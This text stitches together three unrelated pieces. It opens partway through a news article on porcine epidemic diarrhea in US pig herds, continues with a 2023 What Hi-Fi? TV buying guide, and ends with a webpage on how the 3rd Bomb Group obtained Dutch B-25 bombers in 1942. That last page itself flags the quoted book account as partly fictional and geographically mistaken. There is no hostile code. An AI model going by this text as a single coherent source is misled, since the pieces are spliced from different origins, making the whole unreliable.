"It might be a little different for a respiratory disease, but for a disease that's focused on the gut, you're probably not going to have much immunity that lasts after the pig stops nursing," Wagstrom said. "Because PED lives and attacks in the intestine, the immunity has to be based in the immune cells that line the gut, and you just don't get that . . . from just plain vaccination."
While it is still unknown how the disease got to the U.S. – Wagstrom said it most closely resembles a virus seen in China – researchers have been swift in educating producers. Grants were made available to land grant researchers, who provided periodic updates on research and eventually published findings on the Pork Checkoff website.
Wagstrom said she hopes that with improvements in biosecurity, producer education, and the possibility of immunities built up in the herd will result in the coming winter months not taking the toll on the hog and pig inventory that was observed last winter.
"We're really out there trying to make sure that producers don't forget to keep their extra caution and extra protocols to try to prevent any introduction," Wagstrom said.
Since most fatalities due to the virus are among piglets, the long-term damage to the herd may not be as bad as originally thought. There will be some losses in replacement gilts, but Meyer said the industry could quickly rebound from the disease.
"It will have some long-term impact in the fact that we don't have enough replacement gilts out there to grow the sow herd and those kinds of things, but you could solve the lion's share of the production impact (quickly) if you solved the disease tomorrow," Meyer said.
For more news, go to www.agri-pulse.com.


text:
1. The quick list
2. Best TV overall
3. Best cheap TV
4. Best small TV
5. Best TV for sound
6. Best 8K TV
7. Best 2023 TV
8. How to choose
9. How we test
There aren't many things more exciting than making the decision (or getting permission) to buy a new TV. But excitement can soon turn into anxiety when you realise how many specs, features and technologies there are to consider. And then there are all of the individual TVs that are available within each category. You probably want your new TV to last a good few years so you definitely don't want to make the wrong choice.
That's where we come in. Every TV of note (and many of disappointingly little note) has been extensively tested by our team of expert reviewers in our dedicated testing labs. Our reviews aren't just comprehensive, they're comparative, so we know precisely how well each TV performs when compared with the other TVs in its class. In short, we've made all of the effort so you don't have to. We know what we're talking about and you can trust our verdicts.
Tom Parsons has been writing about TV, AV and hi-fi products (not to mention plenty of other 'gadgets' and even cars) for over 15 years. He's tested every type of TV on the market and is an expert at picking the best-performing and best-value options for every type of buyer.
The quick list
You can see a quick breakdown of all the TVs in this list with a short summary of what they're best at and why we think they're worth your money in the table below. If you want more detail you can click the photo of a TV to go to the in-depth entry, where we offer a more comprehensive breakdown of the specs, features and real-world performance.
Best TV overall
Best TV overall
The LG OLED65C2 is the best TV for most people. Though it's not THE best TV in any one thing it offers an unbeatable overall combination of performance, features and price.
Best cheap TV
Best cheap TV
This 2021 entry-level Samsung LCD is still the best TV you can buy if you're on a tight budget.
Best small TV
Best small TV
If space is tight but you want excellent performance, you can't do better than this 42-inch LG OLED.
Best TV for sound
Best TV for sound
This superb Panasonic OLED is the TV to get if you want ultimate picture performance and don't want to buy a soundbar.
Best 8K TV
Best 8K TV
This big, beautiful Samsung is comfortably the best 8K TV you can buy in this pre-8K world, thanks to its superb upscaling.
Best 2023 TV
Best 2023 TV
Sony's new A80L OLED is the best new TV we've tested this year (so far). You're better buying a discounted 2022 model, such as the LG C2, but if you want one of the latest TVs, this is the one we recommend.
The best TVs in 2023
Why you can trust What Hi-Fi? Our expert team reviews products in dedicated test rooms, to help you make the best choice for your budget. Find out more about how we test.
Below, you can see our picks of the best TVs currently available. Every set has been tested by our team of product experts to ensure it delivers great performance and value, so you can trust our buying advice.
Best overall
LG's C-series TVs have been wildly popular for years now, and with very good reason, as they essentially represent the perfect intersection between performance, features and price. That's never more been the case than with 2022's C2, here represented by the 65-inch model. Before we get into comparisons with other TVs, though, let's take a fresh look at the C2 in isolation.
This is an OLED TV that features LG Display's OLED EX panel, which was introduced in 2022 and is brighter than those that went before it. To this, LG added its own algorithms and processing to produce what it refers to as an OLED Evo TV with Brightness Booster.
HDR is supported in the HLG, HDR10 and Dolby Vision formats (there's no HDR10+ support but that's not really a big deal), and all four of the C2's HDMI sockets are 2.1-certified and support all of the most advanced gaming features – 4K/120Hz, VRR and ALLM. Dolby Vision gaming is supported right up to 4K/120Hz, and there's an HGiG mode for more accurate tone mapping with the HDR games that support it. In short, there's no better-specified gaming TV, and it performs brilliantly with the latest consoles.
But it's a brilliant TV for non-gamers, too. The brighter OLED technology makes for a more excitingly punchy viewing experience, but there's nothing forced about the delivery. On the contrary, this is the same, balanced delivery we've come to expect from LG's OLEDs, but now with more dynamism and shadow detail.
In picture terms, there's really nothing not to like at the price, but it has to be said that the sound is decidedly average, even by the fairly low standards of modern flatscreen TVs. As with the vast majority of sets, we recommend that you also budget for at least a soundbar if you're going to buy the LG C2.
In terms of alternatives, LG's own G2 is the most obvious. In many ways, it's the same TV, but it goes even brighter thanks to the addition of a heatsink. It also has a picture frame-style 'Gallery' design. In fact, it comes with a wall mount rather than a pedestal stand. The G2 is undeniably a better TV than the C2 until you take pricing into account, at which point the C2 becomes the one that most people should actually buy.
You also need to consider LG's 2023 TVs, which are now available. The C2's replacement, the C3, is only a slight upgrade, and it's priced higher than the C2 was at launch so is much more expensive than the discounted C2 models you'll currently find in shops. The new G3 is a big step up, particularly in terms of brightness, but it's also currently very expensive.
There are many other TVs that should also be on your shortlist, with the Sony A80K, Samsung S95B, Panasonic LZ980 and Philips OLED807 being the most similar in terms of technology (they're all OLEDs) and price. Ultimately, though, while each of those TVs has its merits, the LG's brilliantly balanced performance, exhaustive feature set and aggressive pricing give it an all-things-to-all-people status that can't be matched.
And if you're after a smaller or larger TV, you can apply all of these findings to the 55-inch and 77-inch models. There are 83-inch and 97-inch versions, too, but they would require more testing before we were prepared to stick our necks out and say they're just as good. There are also 42-inch and 48-inch variants of the C2, but they're a bit different to the rest so we'll get to them in a separate entry.
Read the full LG OLED65C2 review
Read the full LG OLED77C2 review
|You won't do better for the money
|Good enough, but easily beaten by a soundbar
|Great app selection and flawless gaming specs
Best cheap
Considering the annual cycle of new TVs, it's exceptionally rare for a model to still be available after 12 months, let alone remain the best in class for that time. That makes the Samsung AU7100 a real anomaly.
First released in 2021, this entry-level LCD TV impressed us during testing with its carefully balanced picture quality and the effectiveness of its processing. For a TV at this level, the AU7100 produces impressively deep blacks that avoid the flicker common at this end of the market. There's a slight loss of shadow detail when compared to more expensive TVs, but not to an extent that's a problem, and the blacks don't feel forced or unnatural. In fact, they help to add a lustrous depth and richness to colours.
While a TV at this level will always struggle to hit the peak brightness levels for really zingy HDR, the AU7100 is punchy enough to make HDR worthwhile (HLG, HDR10 and HDR10+ are supported), and while some TVs are outright sharper, this budget Samsung balances crispness with naturalism very effectively. Motion is good, too, as long as you avoid the default Auto Picture Clarity setting, which is a bit too aggressive. Viewing angles are better than average for an LCD TV, too.
There are few TVs at any price that are smarter than the AU7100, which features a Tizen operating system with more or less every app you could possibly need. There are also three HDMI inputs for external sources, one of which handles eARC for a soundbar or other sound system. ALLM is supported, too, though 4K/120Hz and VRR predictably are not.
We've tested no end of rivals to the AU7100 since it launched, but not one has managed to topple it. Most notably, Samsung's newer 'BU' sets, such as the BU8000, proved to be a surprising step backwards, though the company will undoubtedly look to change that with its upcoming 'CU' models. Other notable mentions include the TCL C735K and Toshiba UK4D, both of which are good in their own right but neither of which is the complete package in the way of the Samsung AU7100.
One thing to note is that while the AU7100 is available in absolutely loads of sizes, we've only tested the 43-inch model and can't guarantee that the bigger versions will be similarly capable – approach those with caution.
Read the full Samsung UE43AU7100 review
|Excellent considering the budget price
|Passable but lacking in power
|No next-gen gaming specs but a great app selection
Best small
We've already covered the larger versions of the LG C2 at the very top of this list, but now it's the turn of the 42-inch and 48-inch models. By and large, these are the same as their bigger siblings, but they don't go quite as bright. This is the norm for smaller OLED TVs, which can't be driven quite as hard on account of how tightly packed their pixels are. The 42-inch model also has a slightly different design that features desktop-friendly feet rather than the sleek stand of the other models.
Otherwise, you're getting the same features, performance and user experience as that offered by the larger versions of the C2. That slight reduction in brightness really isn't a big deal unless you regularly use your TV in a very bright room. In normal or ideal viewing conditions the smaller C2s are plenty bright enough and, thanks to OLED's perfect blacks and pixel-level light control, contrast is truly stunning. While many TVs raise or lower their brightness as the ratio of light to dark ebbs and flows from shot to shot, the C2 exhibits a consistency that means you're never distracted from the action by the way in which it's interpreted by the display.
The C2 also strikes a near-perfect balance between black depth and shadow detail, exaggerating neither. You see what you're supposed to see without there being any sacrifice to the dramatic intensity of the darkest parts of the picture. Colours, while at times just a touch warmer than is truly correct, are a lovely balance of richness and authenticity, and remain consistent across shots and scenes.
The only areas where the smaller C2 models are beaten are motion processing, which is good here but even better on the Sony A90K, and sound, which is lightweight and lacking volume. Those who would prefer an LCD-based premium TV should also check out the Samsung QN90B, which is also good but exhibited some distracting backlight inconsistencies during our extensive review.
Overall, the C2 is quite comfortably the best TV available at the size, particularly if you combine it with a soundbar. But do stay tuned for our review of the 42-inch version of the new C3.
Read the full LG OLED42C2 review
|Superbly dynamic and punchy, despite the size
|Clear and fairly punchy, but lacking volume and bass
|Flawless gaming specs and a great smart platform
Best for sound
The picture is only half of the home cinema experience, but while it's pretty easy to buy a TV that looks great, finding one that sounds even decent is a real challenge. That's why we almost always recommend partnering a TV with at least a soundbar, if not a full home cinema system. For some, though, the idea of adding even one extra box to their setup is anathema, and it's those people at whom the Panasonic LZ2000 is aimed.
We'll get to the picture quality, which is genuinely awesome, but the LZ2000's more obvious differentiator is its sound system, which consists of a soundbar-like undercarriage of forward-firing drivers, a pair of side-mounted speakers that flank the screen, and dedicated up-firing speakers at the top of the set's rear. While most premium TVs profess to deliver Dolby Atmos sound, none has a speaker arrangement as well set up for it as this.
It works, too. In our extensive review, we stated that "no other TV we've tested creates a soundstage as big and spacious as this, with effects stretching far to the left, right and above the set".
It goes really loud, too, and there's a very satisfying overall tonal balance. The Panasonic's woofers can be provoked into some slight but distracting distortion by exceptionally deep bass, but those moments are rare, and the LZ2000 remains a TV of unusual sonic talent. The Sony A95K sounds more direct and clear than the LZ2000, and the Philips OLED937 offers even better clarity, detail and dynamics, but neither one of those rivals is as open and atmospheric as this Panasonic.
And added to that very impressive sound is one of the best picture performances that money can buy. The LZ2000 uses one of LG Display's OLED EX panels, which Panasonic combines with its own heatsink to produce very bright and impactful images. But even more impressive is the TV's authenticity. Everything we watch has an effortless correctness to it, and skin tones are particularly natural and convincing. If you want to watch movies and TV shows in the way they were intended to be seen, this is the TV to do it with.
Read the full Panasonic TX-65LZ2000B review
|Beautifully balanced and true to the creative intent
|Impressive Atmos but some slight bass buzz
|Good, but not best in class for apps or gaming specs
Best 8K
Let's address this right out of the block: there's currently no 8K content that's really worth watching. What's more, no streaming service has even announced plans to start streaming 8K content and it seems unlikely that an 8K disc format will ever exist. In other words, you definitely don't need to buy an 8K TV.
Having said that, there's every reason you might be tempted to buy a Samsung 8K TV. That's because Samsung has done a better job than its rivals of making its 8K TVs excellent performers with the content you already watch, and pricing them so aggressively that they don't cost vastly more than their 4K equivalents.
The big deal here is that the QN900B's upscaling is so effective that it makes 4K content look sharper and more detailed than it does on native 4K TVs. On top of that, it's capable of going incredibly bright – more so than any other TV we've tested, in fact. Its Quantum Dot-boosted colours are exceptionally rich and vibrant, too, and the Mini LED backlight allows for superb contrast, from near-OLED blacks to awesomely bright highlights.
On top of all of that, the QN900B is one of the most stylish TVs ever created, with the thinnest bezels imaginable. And the feature set is exhaustive, from the app-packed operating system to the One Connect design, which moves all of the connections to a separate box and features four HDMI 2.1 sockets that support features such as 4K/120Hz, 8K/60Hz, VRR and ALLM.
The QN900B's closest rival is the LG Z2 8K OLED, but that costs more than twice the price and is really no better a performer with 4K content than the company's much more affordable G2 model. So, if it's an 8K TV you want, either to make the most of the content you already watch or so that you're ready for the 8K content that might one day appear, the QN900B is the TV to buy – at least until its replacement, the QN900C, turns up.
If you're after a bigger or smaller 8K TV, the QN900B is also available in 65-inch and 85-inch sizes. We haven't tested those specific versions but Samsung's 8K TVs tend to scale up and down very consistently, so we expect them to perform just as well as the 75-inch model tested.
Read the full Samsung QN900B (QE75QN900B) review
|Incredibly sharp, detailed and punchy
|Solid but could do with better projection and bass control
|Excellent gamings specs and oodles of apps
Best 2023
You'll find that most of the TVs on this list are 2022 models. That's because our recommendations are based on a performance-per-pound mantra, so buying a TV that's been out for a little while and has therefore been thoroughly discounted is almost always a better decision than going for a brand new model that might be excellent but is still full price.
Having said that, there are those lucky enough to have big budgets and a desire to have something genuinely brand new. If that's you, the best performance-per-pound TV that we've tested so far this year is the Sony A80L.
While all of the OLED attention may well be focused on the super-bright new MLA and QD-OLED models (the LG G3 and Samsung S95C respectively), the truth is that they're prohibitively expensive right now, and this Sony A80L proves that, with impeccable processing, truly exceptional picture quality is still more than possible from a 'standard' OLED panel.
This is a TV that combines the spectacular with cinematic subtlety in a very rare fashion. It thrills, but not in a way that's even slightly showy. And it combines that with surprisingly atmospheric and engaging sound – though we would still, as ever, recommend a dedicated sound system if you're serious about home cinema.
We have just one mild concern about the A80L: it's still not as good as an LG (such as the recently reviewed C3) for hardcore gaming as it has just two HDMI 2.1 sockets (one of which you're probably going to use for a soundbar), and that it doesn't support Dolby Vision gaming or have an HGiG setting for better HDR tone mapping in games.
That's only going to be a big deal for very dedicated gamers, though. For everyone else, the Sony A80L is an all-rounder that's very hard to resist – though we would still recommend waiting for its price to come down a bit if you can.
Read the full Sony XR-55A80L review
|A brilliant performance that combines the spectacular with the natural
|Really good sound for TV but deeper bass would be nice
|Generally good, but only having two HDMI 2.1 ports is disappointing
How to choose a TV
What to look for in a new TV
There's no single TV that's perfect for everyone, but your ideal TV is almost certainly on this page. You just need to figure out your budget, how big you can / are able to go, and what technologies are important to you.
Only you know your budget and space (although you will find a handy guide to choosing the right size of TV further down this page), but we can help on the technology side.
The biggest thing to consider is the panel technology. OLED now rules the roost at the premium end of things and is hugely popular thanks to its perfect blacks and pixel-level contrast control. LCD is still a huge deal too, though, particularly at the budget end of the market that OLED currently can't touch. There are plenty of premium LCD-based TVs that are great, too, most notably Samsung's top QLEDs, which combine Quantum Dots with Mini LED backlights to deliver the brightest, most vibrant pictures possible.
You also need to consider whether the TV you're looking at has all of the streaming apps you want. While some apps, such as Netflix and Prime Video, are now commonplace, there may be an app that you love that's less common. BT Sport in the UK is a good example. It's also sadly the case that some streaming apps don't work as they should on certain TVs. For example, many Google/Android TVs support Disney+, but not with Dolby Atmos. That's why we manually check not only that every major app is present, but that it's working at its best.
Serious gamers also need to check that their prospective new TV supports all of the latest gaming features. The most technically advanced and therefore rarest of these is 4K/120Hz, but VRR and ALLM are also worth looking out for. There are a number of TVs on this list that support all of these features, but we have a dedicated best gaming TVs guide for those to whom gaming is the primary concern.
Finally, you need to really consider sound, but that doesn't mean you shouldn't consider a TV that doesn't sound good. Confused? That's understandable, but the disappointing truth is that even the best-sounding TV is far behind a decent soundbar for audio quality, so we always recommend focusing on picture quality when buying a TV and budgeting for a dedicated sound system to go with it. We do know that's not an option for everyone, though, so we do of course test a TV's speakers as thoroughly as its screen. If the audio quality matters a lot to you, you'll find all of the necessary info below. There's also a TV in this list that's serious about Dolby Atmos sound.
How we test TVs
How we test TVs
Testing a TV is a long and complex process because a modern TV simply does so much. Not only does it need to handle a variety of content resolutions – standard-def, 1080p, 4K and sometimes 8K – and both standard dynamic range and high dynamic range (the latter in a number of formats), all of which need to be specifically tested, it also has a sound system with various advanced settings and a full smart platform. A TV is an all-in-one device in the best sense, but that also makes it a challenging review proposition.
As part of our testing process we manually check that every major app – from Netflix to All 4, Prime Video to Spotify – is not only present, but also outputting in the video and sound formats that it should. Just because there's a Disney+ app doesn't necessarily mean it's working in Dolby Vision and/or Dolby Atmos. In fact, in many recent cases it hasn't been.
We also connect both a PS5 and Xbox Series X in order to establish which advanced gaming features are and aren't supported, and on which of the TV's HDMI ports. Is 4K/120Hz supported? How about VRR? Is there a Dolby Vision game mode? Is there an HGiG preset for more accurate HDR tone mapping? We check all of these things, and measure input lag using a Leo Bodnar device.
We then test the TV's picture quality using a huge variety of content, from old DVDs to the latest 4K Blu-rays and plenty of streamed movies and TV shows in between. Every TV is tested against the best model at its price and size – we have a stockroom packed full of Award-winners for this very purpose.
We don't accept the out-of-the-box settings that a TV comes in either. While we intentionally don't go down the route of professional calibration (you shouldn't have to have your TV professionally calibrated in order to get the best out of it), we do spend hours adjusting settings using a mixture of test patterns and real-world content until we are sure we're getting the most out of a TV so that it has the best chance to shine.
While we almost always advise that a new TV is combined with a dedicated sound system such as a soundbar or AV amplifier, many people still prefer to stick with their flatscreen's built-in speakers, so we thoroughly test these too, using a wide variety of movie and music content and with great attention spent to the TV's many processing modes and individual settings.
We have state-of-the-art testing facilities in London, Bath and Reading, where our team of expert reviewers do all of our testing. This gives us complete control over the testing process, ensuring consistency. What's more, all review verdicts are agreed upon by the team as a whole rather than an individual reviewer, again helping to ensure consistency and avoid any personal preference.
The What Hi-Fi? team has more than 100 years experience of reviewing, testing and writing about consumer electronics.
From all of our reviews, we choose the best products to feature in our Best Buys. That's why if you take the plunge and buy one of the products recommended above, or on any other Best Buy page, you can be assured you are getting a What Hi-Fi? approved product.
What size TV should you buy?
While it might be tempting to think that bigger is better, the size of set that's right for you is closely dependent on how close to the screen you'll be sitting, and the resolution of the source material you're watching.
Luckily, an organisation called SMPTE (which stands for the Society of Motion Picture and Television Engineers) has published detailed guidelines on exactly how far you should sit in order to optimise the performance of your TV.
If you're sitting the correct distance from your TV, you'll see lots of detail, good edge definition and smooth, clean motion, but if you're sitting too close to the screen, then you're going to see more picture noise and artefacts.
On the other hand, sit too far away from the TV and you'll struggle to pick up all the picture detail your TV has to offer.
The following distances are a good place to start:
- 65in – around 2.1m
- 50-55in – around 1.7m
- 46in – around 1.5m
- 40-43in – around 1.3m
- 32in – minimum 1.3m (Full HD)
Should you buy a 4K or Full HD TV?
This question is pretty much moot now, as the vast majority of TVs are now 4K. It's actually rather hard to find Full HD (1080p) models, even at relatively small sizes.
If you're buying a TV below 32 inches and can save a lot of money on a Full HD model, by all means go for it (4K won't be a huge benefit at that sort of size anyway), but otherwise 4K is both worthwhile and, in all likelihood, your only option.
Should you buy an 8K TV?
You can now buy 8K TVs from a number of brands, including Samsung, LG and Sony. It's arguably Samsung that has lead the way, and our favourite 8K TV so far is the excellent QE75QN900B.
It's important to note, though, that almost no native 8K content is available. If you buy an 8K TV and want to show off its ridiculously high resolution, you'll have to do so using nature, scenery and space footage from YouTube. At this stage, no streaming services have even hinted at launching 8K content, and it seems unlikely that an 8K disc format will ever materialise.
For those reasons, it's hard to recommend that most people pay the extra for an 8K TV at this stage. That said, if you've got deep pockets and want to be as ready as possible for the potential 8K content of the future, there's no real harm in going for an 8K TV now, particularly as models such as the Samsung QN900B make current 4K content look better than ever.
Should you buy an HDR TV?
High Dynamic Range is without a doubt a much bigger deal than 8K, and certainly something you should consider before buying your next TV.
Essentially, the higher the dynamic range (brightness and colours), the more lifelike the picture. HDR offers greater subtlety and depth of gradations of colours, plus stronger contrast.
There are various types of HDR out there, and with different TV brands backing different variants, it can be a minefield trying to find the best option. Allow us to explain.
First up is HDR10, which is essentially the core HDR format that every HDR TV should support.
HDR10 is a static HDR format that applies the HDR values on a scene-by-scene basis (i.e. whenever the camera cuts to a new scene). Dolby Vision, on the other hand, applies this image information (called metadata) on a frame-by-frame basis. This dynamic form of HDR, when implemented properly, has the potential to improve upon the standard HDR10 presentation.
HDR10+ is a rival format to Dolby Vision. Created by Samsung, it also uses dynamic metadata but, whereas Dolby Vision is licensed, HDR10+ is a free, open format that any company can deploy as it sees fit.
Of these two 'dynamic' HDR formats, Dolby Vision is by far the most prevalent, both in terms of TVs and content, and if you have to choose between one and the other, that's the one we'd recommend. That said, you can now buy TVs from the likes of Philips and Panasonic that support both Dolby Vision and HDR10+.
Finally in our rundown of HDR formats is HLG (Hybrid Log Gamma), which was developed specifically for broadcasting by the BBC and Japan's NHK. It's used to deliver all of the HDR content offered by the BBC and Sky, so can be considered very important. Luckily, it's now almost as common as standard HDR10 in TV spec lists, so you should have little problem finding a model that supports it.
What inputs and outputs does your TV need?
These days, it's all about HDMI, which is used to connect everything from set-top boxes to video streamers, Blu-ray players to games consoles. Thanks to ARC/eARC (Audio Return Channel / Enhanced Audio Return Channel), a single HDMI connection can even be used to output sound to an AV receiver or soundbar at the same time as it receives a video signal.
Currently, three HDMI connections is standard on budget and mid-range TVs, while four is the norm for premium models.
The specification of the HDMI connections tends to differ depending on the price of the TV, too, with premium models now commonly getting at least one or two HDMI 2.1 sockets. These have greater bandwidth than their HDMI 2.0 counterparts and can support advanced formats such as 4K@120Hz and 8K@60Hz. Fancy gaming features such as Auto Low Latency Mode and Variable Refresh Rate are often supported via HDMI 2.1 (and some HDMI 2.0) sockets, too, though not always. It's sensible to check the specs thoroughly if there are particular features you're after.
After HDMIs, USB ports are the most abundant on modern TVs. You can use these to keep devices charged (often particularly useful for stick- or dongle-style streamers), and some TVs allow the connection of flash drives and hard drives for the recording of live TV content.
On the subject of live TV, you can expect practically every TV to have an aerial socket via which it can receive Freeview broadcasts, but many also have a satellite connection. Be warned, though; the presence of a satellite connection doesn't guarantee that there's a Freesat tuner on board. Without one, you'll receive only a patchy and disorganised selection of satellite TV channels.
Other useful connections include optical and stereo outputs, which can be used in lieu of HDMI ARC to connect legacy audio equipment. Headphone outputs are still fairly common, too, though Bluetooth is also supported by most TVs now and some models now feature the latter but not the former.
Lastly, while some TVs feature composite inputs (often via an adapter), most – even at the budget end – have phased out legacy connections such as SCART. So those clinging on to old video cassette recorders, for example, should be aware of that.
Which TV smart features and streaming apps do you need?
As with 4K, it's now hard to buy a TV that doesn't have a smart platform packed with streaming apps. Almost every TV will have Netflix and Amazon Prime Video on board, and Disney+ is fast approaching a similar level of ubiquity. Apple TV (which is great for pay-as-you-go movies as well as the Apple TV+ subscription service) is becoming increasingly common, too.
You'd have thought that BBC iPlayer, ITV Player, All 4 and My5 would be present on every TV available in the UK, but there always seems to be one brand that's lacking (it was LG in 2020 and Sony in 2021) so do check before you buy if any of those are important to you.
Other apps that are less common but potentially worth looking out for include BT Sport, Now, Britbox, and music apps such as Spotify and Tidal.
Should you buy an OLED, QLED or LCD TV?
LCD TVs, which require a backlight usually made up of white LEDs to show a picture on the LCD panel, are available in a wide variety of screen sizes and, thanks in part to the technology's low cost of production, at affordable prices.
OLED (Organic Light-Emitting Diode) is a panel technology that uses self-emissive particles – so there's no need for a backlight. This allows OLED TVs to be unbelievably slim, while also offering convincing pitch-dark blacks, strong contrast and superb viewing angles. LG, Sony, Panasonic, Philips and now Samsung are the big brands with OLED TVs in their line-ups and, broadly speaking, they're excellent.
QLED (Quantum-dot Light-Emitting Diode), meanwhile, is Samsung's rival technology to OLED. A QLED TV is an LCD TV but with a quantum dot coating over the backlight. However, the quantum dots (tiny semiconductor particles) in current QLEDs do not emit their own light. So QLED TVs, like conventional LCDs, rely on a backlight. The advantages of a QLED TV? You tend to get brilliantly vibrant colours, plus bright, sharp and crisply detailed images. Samsung's QLEDs have got better and better over the years, existing as a fine alternative to OLEDs TVs. Interestingly, though, Samsung has now launched its own range of OLED (QD-OLED) TVs.
Useful links
- Looking for a bargain? Here are the best cheap TVs
- Hardcore gamer? These are the very best gaming TVs
- Need a certain size? We've rounded-up the best 55-inch TVs
- Need something bigger? What about the best 65-inch TVs
- Want a future-proof TV? Here are the best 8K TVs


text:
The 3rd Bomb Group arrived in Brisbane on 25 February, 1942 without any aircraft. The highest ranking officers in the Group were 1st Lieutenants. The Group was promised new B-25 Mitchells and sent to Charters Towers where they waited for their planes. Repeated calls to Melbourne elicited the fact that there were no planes on the way to them.
On 1 April 1942, 13 men from the 3rd Bomb Group (including 1st Lt. James McAfee) flew down to Archerfield airfield in Brisbane in a C-39 to pick up some B-25C Mitchell bombers that belonged to the Netherlands East Indies Air Force (Dutch). In his diary, James McAfee wrote:-
2 April 1942 - "Checked out on B-25C today. Flies real good"
3 April 1942 - " Left for CT today. Damn near flew into Schmidt over Rockhampton. and busted door of the back hatch. Bomb sight nearly fell out the open door. Made it to CT OK. Rose was my co pilot."
The story below is from the book "THE GRIM REAPERS" History of the 3rd Bomb Group, 1918-1965" by Lawrence Cortesi, Published by Historical Aviation Album. It tells, with some fictional elaboration, how the 3rd Bomb Group "stole" their B-25s from the Dutch Air Force.
Bas Kreuger, the Curator of the Military Aviation Museum RNlAF in Soesterberg, the Netherlands, advised me that the Mitchells mentioned below were handed over to the Americans rather than being "stolen". The other point with the story below is that it refers to a Batchelor airfield in Melbourne. Batchelor field was actually in the Northern Territory.
Bas Kreuger advised that "Twelve plus five B-25's arrived in April 1942 from a batch ordered and bought by the Netherlands Purchasing Commity in the US. As a new NEI-AF squadron (18th Squadron) was yet to be filled with capable crews, those first 12 were handed over to the USAAF 3rd Bomb Group, where they flew for some time with Dutch serials (N5- .......). So they were not stolen, but handed over to the US."
Noel Tunny's book, "Gateway to Victory" also states that fifteen B-25 Mitchells of the Dutch N.E.I.A.F. were taken over by the 3rd Bomb Group after they were delivered to Archerfield. They were delivered to Australia in crates. After assembly, they were flown to Charters Towers, but the first 3 aircraft to land were damaged in landing incidents. This seems to support the statement from Bas Kreuger.
History of the 3rd Bomb Group, 1918-1965
by Lawrence Cortesi
Published by Historical Aviation Album.
On 27 March, a few days after Davis took over the Reapers, Gunn came into Big Jim's (Lt. Col. John Davis) office and grinned. "Johnny, there's a couple dozen B-25s at Batchelor Field in Melbourne." (Note - I know of a Batchelor AIr Field in the Northern Territory. There is no Batchelor field in Melbourne)
Davis was surprised and asked if the executive officer had heard anything. Strickland (1st Lt. Bob Strickland) shook his head. He had not heard of any aircraft reaching Australia for consignment to the 3rd Bomb Group. Davis then turned to Gunn with a frown.
"They aren't exactly ours," Gunn said. "I think they've been allocated to the Dutch Air Force, but from what I hear, they'll never use them because they have no pilots. The planes are just sitting there, and we've got a war to fight. Why don't we go down and get them."
Davies grinned. "You mean steal them?"
"They said our planes were on the way," Gunn shrugged. "Who's to say those Mitchells aren't ours?" He leaned close to Davies. "Go see Eubank; he's a friend of yours. Tell him your planes are at Batchelor Field and you'd like an authorization to pick them up.
"You're crazy, Pappy," Davies said. "All I know-those Aussies could sure use aerial help up in New Guinea. We could give them plenty with 24 Mitchells." Davies flew immediately to FEAF ADVON headquarters in Brisbane to see General Eugene Eubank who had been a Philippines acquaintance of Davies when Eubank commanded V Bomber Command, Eubank welcomed Davies' visit until he learned the colonel's mission.
"If you give me an authorization," Davies said, "I'll take a load of pilots down there to pick up the planes. Gunn says he can have them ready for combat right away."
"If I'm not mistaken," Eubank said, "those Mitchells are consigned to the Dutch."
"They said our planes were on the way," Davies said. "It wouldn't be your fault if we picked up the wrong planes; if we mistook those B-25's for the planes Washington promised us."
Eubank pursed his lips. "I don't know; that wouldn't be by the book."
"When did we start going by the book?" Davies asked, as he leaned closer to the general. "We could do an awful lot of damage up in New Guinea with those ships."
Eubank grinned again. "What've we got to lose except our necks, and we won't have those anyway if those Nips keep coming on the way they are."
After the 3rd Group commander got the authorization, he flew quickly back to Charters Towers. He rounded up 24 pilots, including himself, Pappy Gunn, and Bob Strickland. When the mail plane landed, Big Jim and his airmen were waiting on the field.
After service crews unloaded the cargo, and while tankmen refueled the aircraft, Davies and his men climbed aboard. When the pilot and co-pilot returned to the plane, they were surprised to see 24 pilots crammed inside.
"Colonel," the pilot asked Davies, "What's going on?"
"We're going to Melbourne to pick up our B-25's," Big Jim said. He showed the pilot the authorization from General Eubank.
"Okay," the transport pilot shrugged. "We'll be making a stop at Archer Field (Archerfield) in Brisbane to refuel. We should reach Melbourne about 1700 hours this afternoon."
The C-47 then took off for the 900 mile trip to Batchelor Field, stopping briefly at Brisbane. By 1700 hours, the Gooney Bird was landing. Most of the Reapers had slept during the trip so they were well refreshed to fly the "hot" bombers back.
With a nonchalant air of authority, Davies presented his authorization to an American OD Officer at the field. The duty captain, like others around the base, knew little of high level decisions concerning allotments, strategies, or operations. "I wondered who the hell owned these planes," the officer said. "They've been sitting here a couple of weeks."
The captain did not question the authorization. In fact, he called an ordnance NCO to check the fuel supply and to warm up the planes. After a hot meal, the 3rd Group pilots boarded the B-25's. At 1830 hours, as the sun began setting below the Melbourne River, they took off. By 1900 hours, the last B-25 was droning northward.
Not until 2100 hours did somebody at Batchelor Field discover that an air corps Lt. Colonel had taken off with 24 unauthorized B-25's. The OD officer had talked about the incident in casual conversation during an evening bull session and he was overheard by two staff officers who knew the bombers had been consigned to the Dutch. Within a half hour, the shocked twosome were frantically making phone calls up and down the east coast of Australia to determine how Davies had shammed an authorization to pickup the planes.
Meanwhile, Davies stopped at Brisbane's Archer Field (Archerfield) to refuel. But, before the 3rd Group pilots could take off, the base commander and a squad of MP's met them with fire in their eyes.
"Colonel, Sir," the major said, "I have orders from FEAF to hold these planes here in Brisbane and to detain you and your men. Your authorization is invalid and nobody can reach General Eubank to verify your orders."
"Major," Davies said, "I have a written authorization and you know that under AR regulations a signed order supercedes an oral one."
"Are you questioning General Eubank, Major?" Pappy Gunn suddenly blurted.
The base commander rolled his tongue around his lips.
"We need those planes, Major," Davies said soberly.
The base commander looked at the pilots in their cockpits wearing a mixture of apprehension and supplication on their faces. Davies' argument about the written authorization was a weak one, for the major had authority from FEAF VIP'S. He squinted at the B-25's, their fuselages shaking from warming engines--like anxious greyhounds ready to pursue game.
"As soon as we get these planes to Charters," Pappy said, "we'll have them hitting Lae and Salamaua within a couple of days."
The major looked at the middle aged Mad Professor. "Are you Captain Gunn?"
The major grinned. He knew Pappy's reputation,
"Yes", he said, "I suppose you will have those planes ready in a couple of days."
"I guarantee it," Gunn said.
The major looked at Davies and sighed. "Okay, Colonel, I guess a written order does supercede an oral one," as he cocked his head and the MP's moved off.
Soon, the major stood on the field and watched the Mitchells soar into the sky. He ignored a clerk who had rushed out to the field to tell him that FEAF wanted to know if the bombers had been held as requested. Not until the last B-25 had disappeared to the north, did the base commander return to his office to call an aide of General Brett himself.
"I'm sorry, Sir," the major told the FEAF officer, "we're too late. The planes have already taken off."
"What? You let them go off with those bombers?"
"Colonel Davies had a written authorization and he left before I could determine whether of not the authorization was valid."
